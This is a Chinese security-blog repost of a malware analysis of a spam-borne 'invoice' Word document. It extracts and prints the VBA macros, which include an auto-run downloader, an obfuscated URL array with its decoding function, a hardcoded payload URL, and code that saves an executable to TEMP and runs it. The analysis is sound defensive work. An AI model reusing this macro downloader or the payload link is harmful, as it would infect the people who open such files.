记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

恶意邮件里的doc文件解析

2015-10-25 17:35


有些恶意软件经常通过垃圾邮件作为进入电脑的途径。通常他们会先部署简单的陷阱:将打包好的可执行文件发送到伪装的doc文件里。

这样的手段能欺骗一些不注意用户,不过观察仔细的用户仍然会注意到文件的真实扩展名是“.exe”,这代表它是一个可执行程序,而不是它所说的文档。但是就算它是一个真正的文件,也并不意味着它是无害的。

那么,我们来看看垃圾邮件中所发送的DOC文件的真正使命吧!

样品分析

(523)-Invoice 7500005791.doc – md5: 370751889f591000daa40c400d0611f2

提取宏

在这里我们使用oledump ,解剖文档用这个软件非常方便。

首先,让我们来看看在doc文档文件里有些什么:

./oledump.py “(523)-Invoice 7500005791.doc”
 1:      114 '\x01CompObj'
 2:     4096 '\x05DocumentSummaryInformation'
 3:     4096 '\x05SummaryInformation'
 4:    10158 '1Table'
 5:      513 'Macros/PROJECT'
 6:      113 'Macros/PROJECTwm'
 7: M   7807 'Macros/VBA/Module1'   
 8: M  18990 'Macros/VBA/Module2'
 9: M  15739 'Macros/VBA/Module3'
10: M   1475 'Macros/VBA/ThisDocument'   
11:     7123 'Macros/VBA/_VBA_PROJECT'
12:      617 'Macros/VBA/dir'
13:     4096 'WordDocument'

正如我们可以在上面看到,7,8,9,10行显示了该文件带有4 VB模块。一般宏可以在这里潜在部署一些恶意操作。

我们可以使用相同的工具很容易地提取代码。

./oledump.py -s <stream number> -v <file>

让我们来获取所有的:

./oledump.py -s 7 -v “(523)-Invoice 7500005791.doc” > Module1.vb
./oledump.py -s 8 -v “(523)-Invoice 7500005791.doc” > Module2.vb
./oledump.py -s 9 -v “(523)-Invoice 7500005791.doc” > Module3.vb
./oledump.py -s 10 -v “(523)-Invoice 7500005791.doc” > ThisDocument.vb

分析

在ThisDocument.vb里开始执行宏。

ThisDocument.vb

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
 
Sub autoopen()
UserRetiraItem 0, 0, -5
BroadCastParty 0, ""
SendBanObj 0, 0, ""
DarCuerpoDesnudo 0, False
IniciarDeposito 0
Bloquear False, 0, 0, 0, False
HayLava -1, -1, -1
End Sub

autoopen中部署的几个函数,我们可以在其他的VB模块中找到。

在另一个文件中,有一些公共的对象是用来传递信息的:

Module1.vb

Public halalaya As Object
Public adbrd As Object
Public processEnv  As Object
 
Public tempFile As String
Public shellApp As Object

halalaya对象被用来处理HTTP通讯。

SendBanObj功能产生一些GET请求:

Module1.vb

Public Sub SendBanObj(UserIndex As Integer, Slot As Byte, Object As String)
 
Set shellApp = CreateObject("Shell.Application")
&#039;***************************************************
&#039;Author: Unknownn
&#039;Last Modification: -
&#039;
&#039;***************************************************
adbrd.Type = 1
Dim Professor() As Variant
Professor = Array(148, 158, 156, 150, 94, 81, 79, 149, 147, 145, 70, 137, 128, 115, 131, 125, 114, 126, 54, 105, 115, 48, 117, 105, 43, 47, 46, 42, 43, 39, 40, 36, 33, 25, 81, 78, 27, 24, 68, 68, 78, 8, 61, 78, 57)
halalaya.Open "GET", GetStringFromArray(Professor, 44), False
Exit Sub
Us.rList(Use.rIndex).BancoInvent.Object(Slot) = Object
 
Call Writ.eChangeBankSlot(UserI.ndex, Slot)
 
End Sub

其中,GET请求涉及的环节还无法读取。不过,反混淆的程序可以在另一个模块中找到:

Module2.vb

Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
    Dim i As Integer
    Dim result As String
    result = ""
    For i = LBound(fromArr) To UBound(fromArr)
        result = result & Chr(fromArr(i) - LenLen + i * 2)
    Next i
    GetStringFromArray = result
End Function

执行数组函数后我们可以从以下链接中获取有效负载:

http://www.slasoft.co.uk/56475865/ih76dfr.exe

响应结果被保存到临时文件并被部署:

Module3.vb , Function HayLava

adbrd.write halalaya.responseBody
    adbrd.savetofile tempFile, 2
shellApp.Open (tempFile)
End Function

创造临时文件的名称:

Module1.vb

tempFile = processEnv("T" & "EMP")

Module3.vb , Sub Bloquear

If ToMap Then
        Call Sen.dData(SendTarget.ToMap, sndIndex, Prepar.eMessageBlockPosition(X, Y, b))
        Call Writ.eBlockPosition(sndIndex, X, Y, b)
    End If
 
tempFile = tempFile + "\" & "Hich" & "Az2" + "." + "e" + "xe"
End Sub

所以,我们可以看到的结果被保存到目录中的HichAz2.exe。

结论

以上分析已经证明,所发送的文件是一个下载器。它是从硬编码链接里获取可执行文件然后将其保存在TEMP文件夹。

*参考来源malwarebytes 译/江湖小吓 转载请注明来自Freebuf(黑客与极客)

知识来源: www.freebuf.com/articles/82814.html

阅读:93321 | 评论:0 | 标签:文章 网络安全 恶意邮件

想收藏或者和大家分享这篇好文章→复制链接地址

“恶意邮件里的doc文件解析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云